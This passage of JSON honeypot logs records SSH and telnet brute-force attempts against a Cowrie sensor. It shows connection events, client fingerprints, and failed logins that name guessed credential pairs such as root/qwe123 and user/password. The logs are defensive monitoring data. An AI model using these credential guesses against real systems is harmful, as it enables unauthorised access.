"aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:52.266248Z","src_ip":"95.38.165.118","session":"ea45639b36ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:55.149308Z","src_ip":"95.38.165.118","session":"ea45639b36ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":37778,"dst_ip":"10.17.0.5","dst_port":22,"session":"189b5d550aa5","protocol":"ssh","message":"New connection: 95.38.165.118:37778 (10.17.0.5:22) [session: 189b5d550aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:56.121698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:56.155141Z","src_ip":"95.38.165.118","session":"189b5d550aa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:56.325464Z","src_ip":"95.38.165.118","session":"189b5d550aa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:56.354888Z","src_ip":"95.38.165.118","session":"ea45639b36ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:57.928000Z","src_ip":"95.38.165.118","session":"189b5d550aa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:59.102969Z","src_ip":"95.38.165.118","session":"189b5d550aa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":37780,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed5d8fda327f","protocol":"ssh","message":"New connection: 95.38.165.118:37780 (10.17.0.5:22) [session: ed5d8fda327f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:01.897306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:01.952134Z","src_ip":"95.38.165.118","session":"ed5d8fda327f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:02.132370Z","src_ip":"95.38.165.118","session":"ed5d8fda327f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:04.670618Z","src_ip":"95.38.165.118","session":"ed5d8fda327f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:06.346760Z","src_ip":"95.38.165.118","session":"ed5d8fda327f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.165367603302,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:06.480931Z","src_ip":"69.4.83.194","session":"2ce905a2f19e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":45938,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1ed68d2d7e5","protocol":"ssh","message":"New connection: 95.38.165.118:45938 (10.17.0.5:22) [session: a1ed68d2d7e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:07.617023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:07.625519Z","src_ip":"95.38.165.118","session":"a1ed68d2d7e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:08.378136Z","src_ip":"95.38.165.118","session":"a1ed68d2d7e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:08.904317Z","src_ip":"95.38.165.118","session":"a1ed68d2d7e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":44188,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee2d67634a46","protocol":"ssh","message":"New connection: 51.250.105.222:44188 (10.17.0.5:22) [session: ee2d67634a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:09.598805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:09.603369Z","src_ip":"51.250.105.222","session":"ee2d67634a46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:09.730575Z","src_ip":"51.250.105.222","session":"ee2d67634a46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:10.079072Z","src_ip":"95.38.165.118","session":"a1ed68d2d7e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:10.119578Z","src_ip":"51.250.105.222","session":"ee2d67634a46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:11.249606Z","src_ip":"51.250.105.222","session":"ee2d67634a46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":45946,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a3479d96e38","protocol":"ssh","message":"New connection: 95.38.165.118:45946 (10.17.0.5:22) [session: 0a3479d96e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:12.861002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:12.865582Z","src_ip":"95.38.165.118","session":"0a3479d96e38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:14.448332Z","src_ip":"95.38.165.118","session":"0a3479d96e38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:15.458293Z","src_ip":"95.38.165.118","session":"0a3479d96e38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":53318,"dst_ip":"10.17.0.5","dst_port":22,"session":"cae3d9fe3065","protocol":"ssh","message":"New connection: 95.38.165.118:53318 (10.17.0.5:22) [session: cae3d9fe3065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:18.192390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:18.222552Z","src_ip":"95.38.165.118","session":"cae3d9fe3065","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:18.868993Z","src_ip":"95.38.165.118","session":"cae3d9fe3065","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00092792510986,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:19.140809Z","src_ip":"79.139.59.21","session":"d4b3f576a543","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:21.886001Z","src_ip":"95.38.165.118","session":"cae3d9fe3065","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:23.661061Z","src_ip":"95.38.165.118","session":"cae3d9fe3065","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":53334,"dst_ip":"10.17.0.5","dst_port":22,"session":"09e706644069","protocol":"ssh","message":"New connection: 95.38.165.118:53334 (10.17.0.5:22) [session: 09e706644069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:23.861071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:23.867694Z","src_ip":"95.38.165.118","session":"09e706644069","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:24.702092Z","src_ip":"95.38.165.118","session":"09e706644069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.57.101","src_port":40646,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b20172aa3a8","protocol":"telnet","message":"New connection: 165.22.57.101:40646 (159.203.135.109:23) [session: 8b20172aa3a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:24.948919Z"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:26.128008Z","src_ip":"95.38.165.118","session":"09e706644069","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0020387172699,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:26.661846Z","src_ip":"89.99.30.209","session":"1630285c2e41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:27.551174Z","src_ip":"95.38.165.118","session":"09e706644069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":57352,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd260b5d35e6","protocol":"ssh","message":"New connection: 95.38.165.118:57352 (10.17.0.5:22) [session: bd260b5d35e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:29.603853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:29.608369Z","src_ip":"95.38.165.118","session":"bd260b5d35e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:29.775494Z","src_ip":"95.38.165.118","session":"bd260b5d35e6","protocol":"ssh"}
